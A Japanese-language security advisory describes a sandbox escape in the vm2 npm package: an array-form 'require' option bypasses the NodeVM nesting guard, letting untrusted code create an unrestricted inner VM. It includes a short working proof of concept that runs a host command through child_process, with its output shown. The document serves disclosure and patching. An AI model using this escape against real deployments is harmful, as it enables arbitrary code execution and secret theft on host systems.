vm2: NodeVMのネストガードの脆弱性により、配列形式のrequireが許可され、ホストのRCE(リモートコード実行)が可能になる。
## 概要
`NodeVM`コンストラクタは、`hasRealRequireConfig`を`typeof requireOpts === 'object' && requireOpts !== null`を使用して計算するため、`require: []`という設定は、明示的なrequire設定なしにネストを許可することを意図したガードを回避する。その後、`makeResolverFromLegacyOptions()`が配列を解析し、未定義のオプションフィールドとなり、`NESTING_OVERRIDE.vm2`のみを含むリゾルバーを返す。攻撃者が、`{nesting: true, require: []}`で設定された下流の`NodeVM`によって実行されるJavaScriptコードを仕掛け、ホストの`vm2`モジュールをロードし、攻撃者が選択した組み込み許可リストを持つ内部`NodeVM`を作成し、ホストプロセスとしてコマンドを実行することができる。`makeResolverFromLegacyOptions()`には、同様のプレーンオブジェクトの検証は存在しない。
配列は、vm2のみのリゾルバーに変換される。
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226
ネストローダーは、ホストVMのコンストラクタを返す。
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645
## 実証コード
前提条件:
- ホストが、真の値を持つ`nesting`と配列形式の`require`で`NodeVM`を作成する。
- 攻撃者が、その`NodeVM`によって実行されるJavaScriptコードを提供できる。
```javascript
'use strict';
const {NodeVM} = require('./index.js');
const outer = new NodeVM({nesting: true, require: []});
const result = outer.run(`
const {NodeVM} = require('vm2');
const inner = new NodeVM({require: {builtin: ['child_process']}});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()"
);
`);
console.log(result);
```
```text
uid=1000(lohar) gid=1000(lohar) groups=1000(lohar)
```
`hasRealRequireConfig`というチェック機構は、配列に対して`true`を返すため、意図したとおりに機能しません。なぜなら、配列は`VMRequire`の設定オブジェクトではないからです。`makeResolverFromLegacyOptions()`関数は、配列に対してオブジェクトの分割を行うため、`builtin`と`external`の値が未定義となり、`NESTING_OVERRIDE`がマージされ、外部モジュールの制御が重要になる前に処理が終了してしまいます。外部からの攻撃者が作成した内部の`NodeVM`インスタンスは、ホスト側の制限の影響を受けず、サンドボックス内で`require`の設定が選択されます。
シェイプチェックの失敗:
https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307
## 影響
攻撃者は、ホストのNode.jsプロセスの権限を使用して、任意のコマンドを実行できます。これには、シークレットの読み取り、ファイルの変更、ホストネットワークへのアクセスなどが含まれます。GHSA-m4wx-m65x-ghrrは、同様のネスト機能に関するものですが、配列型の`require`値には対応しておらず、3.11.4が修正済みであると誤って報告されています。
> 脆弱性は、`nesting`を有効にし、不正な配列設定を渡す下流のアプリケーションに限定されます。
影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョンは、3.11.4以上、3.11.6以下。3.11.7で修正済み。